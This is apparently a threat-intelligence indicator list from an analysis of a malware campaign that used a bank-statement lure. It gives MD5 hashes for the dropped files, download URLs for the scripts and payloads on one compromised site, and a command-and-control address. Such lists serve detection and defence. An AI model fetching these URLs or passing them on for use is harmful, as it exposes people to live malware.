chasebank_statement_mar.zip | 5B08207CBA417BFD2E5A776D16B57556 | MD5 |
chasebank_statement_mar.lnk | 2655FA1657F6239E530B4035C51C41B9 | MD5 |
6E7ybtsVNxGv.bat | 0E21441AE0920ED3B058D4AD7FEDED20 | MD5 |
GSOLAMHFGX09.js | D16A4362E03920F2DA30BF6D672C9A62 | MD5 |
agent1.ps1 | 8706A8D37F55F39D524DAE86E4D27990 | MD5 |
agent3.ps1 | A3EE8655F45C72F5231DED7A4A1C7E43 | MD5 |
shellcode.bin (Shellcode saved as a file) | E48DAB182FA3F47D088C562DB0E44D31 | MD5 |
oligochaete.exe | 47E208687C2FB40BDBAA17E368AAA1BD | MD5 |
decrypted_payload.bin (Decrypted PE file) | 1901593E0299930D46B963866F33A93B | MD5 |
sd2.ps1 | 4F55BE0B55EC67DFDA42B88E9C743A2A | MD5 |
sd4.ps1 | A18668C170EAA7A19DA66924E5748347 | MD5 |
sd2.exe (Generated from shellcode in sd2.ps1) | FC4C96E060AA1319925612BB0E382F60 | MD5 |
sd4.exe (Generated from shellcode in sd4.ps1) | 98E0144FC137AA1EA7E0CC185F36B86C | MD5 |
Download URL for 6E7ybtsVNxGv.bat | https://admiralpub.ca/wp-content/uploads/2017/olympiadic.php | URL |
Download URL for GSOLAMHFGX09.js | https://admiralpub.ca/wp-content/uploads/2017/oligophosphaturia.php | URL |
Download URL for agent1.ps1 | https://admiralpub.ca/wp-content/uploads/2017/agent1.ps1 | URL |
Download URL for agent3.ps1 | https://admiralpub.ca/wp-content/uploads/2017/agent3.ps1 | URL |
Download URL for oligochaete.exe | https://admiralpub.ca/wp-content/uploads/2017/oligochaete.exe | URL |
Download URL for sd2.ps1 | https://admiralpub.ca/wp-content/uploads/2017/sd2.ps1 | URL |
Download URL for sd4.ps1 | https://admiralpub.ca/wp-content/uploads/2017/sd4.ps1 | URL |
C2 | http://91.202.233.209/hypermetropia.php | URL |